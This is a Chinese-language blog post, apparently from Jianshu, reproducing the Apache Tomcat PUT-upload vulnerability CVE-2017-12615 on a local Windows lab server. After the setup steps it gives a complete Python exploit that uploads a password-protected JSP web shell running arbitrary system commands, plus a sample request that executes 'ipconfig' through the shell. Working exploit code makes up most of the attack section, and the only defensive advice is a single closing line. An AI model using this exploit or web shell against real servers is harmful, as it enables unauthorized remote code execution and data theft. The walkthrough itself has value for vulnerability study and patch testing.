Apache Tomcat遠(yuǎn)程命令執(zhí)行漏洞(CVE-2017-12615)

漏洞的簡介

當(dāng) Tomcat運(yùn)行在Windows操作系統(tǒng)時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數(shù)由默認(rèn)值設(shè)置為 false),攻擊者將有可能可通過精心構(gòu)造的攻擊請求數(shù)據(jù)包向服務(wù)器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務(wù)器執(zhí)行。導(dǎo)致服務(wù)器上的數(shù)據(jù)泄露或獲取服務(wù)器權(quán)限。

漏洞影響的范圍

Apache Tomcat 7.0.0 - 7.0.81

實驗環(huán)境搭建

1.官網(wǎng)下載jdk安裝包
http://www.oracle.com/technetwork/java/javase/downloads/index.html
2.根據(jù)提示安裝jdk

image.png

3.配置環(huán)境變量, 添加jdk和jre路徑


TIM圖片20180130095026.png

4.配置成功后的截圖


image.png

5.Apache Tomcat安裝
下載地址:
http://www.liangchan.net/soft/download.asp?softid=9366&downid=8&id=9430

6.按照步驟提示,安裝


TIM圖片20180130095622.png

7.安裝成功后,訪問http://127.0.0.1:8080


TIM圖片20180130095838.png

漏洞的利用

1.配置Apache Tomcat服務(wù)器
打開Tomcat安裝目錄的C:\Program Files (x86)\Apache Software Foundation\Tomcat 7.0\conf添加如下配置,在Tomcat7.0版本下默認(rèn)配置是開啟readonly的,需要手動配置readonly為false才可以進(jìn)行漏洞利用


TIM圖片20180130112514.png
  1. 利用payload對目標(biāo)網(wǎng)站發(fā)起攻擊
#! -*- coding:utf-8 -*- 

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

try:

    conn = httplib.HTTPConnection(sys.argv[1])

    conn.request(method='OPTIONS', url='/ffffzz')

    headers = dict(conn.getresponse().getheaders())

    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :

        conn.close()

        conn = httplib.HTTPConnection(sys.argv[1])

        url = "/" + str(int(time.time()))+'.jsp/'

        #url = "/" + str(int(time.time()))+'.jsp::$DATA'

        conn.request( method='PUT', url= url, body=body)

        res = conn.getresponse()

        if res.status  == 201 :

            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]

            print 'shell:', 'http://' + sys.argv[1] + url[:-1]

        elif res.status == 204 :

            print 'file exists'

        else:

            print 'error'

        conn.close()

    else:

        print 'Server not vulnerable'

except Exception,e:

    print 'Error:', e

下載完后payload命名為1.py
進(jìn)入cmd界面,然后切換到1.py文件目錄下
接下來輸入命令,運(yùn)行,程序返回webshell的地址


TIM圖片20180130112944.png

注意:此處1506412001.jsp為隨機(jī)生成地址,請以實際獲取的shell為準(zhǔn)
在火狐瀏覽器中按F9打開hackbar插件,執(zhí)行以下命令
http://127.0.0.1:8080/1517282489.jsp?&pwd=023&cmd=ipconfig

TIM圖片20180130113133.png

結(jié)果分析:
當(dāng)存在漏洞的Tomcat運(yùn)行在 Windows 主機(jī)上,且啟用了 HTTP PUT 請求方法,攻擊者通過構(gòu)造的攻擊請求向服務(wù)器上傳包含任意代碼的 JSP 文件,造成任意代碼執(zhí)行。因此,通常情況下我們應(yīng)該不允許DELETE和PUT操作。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容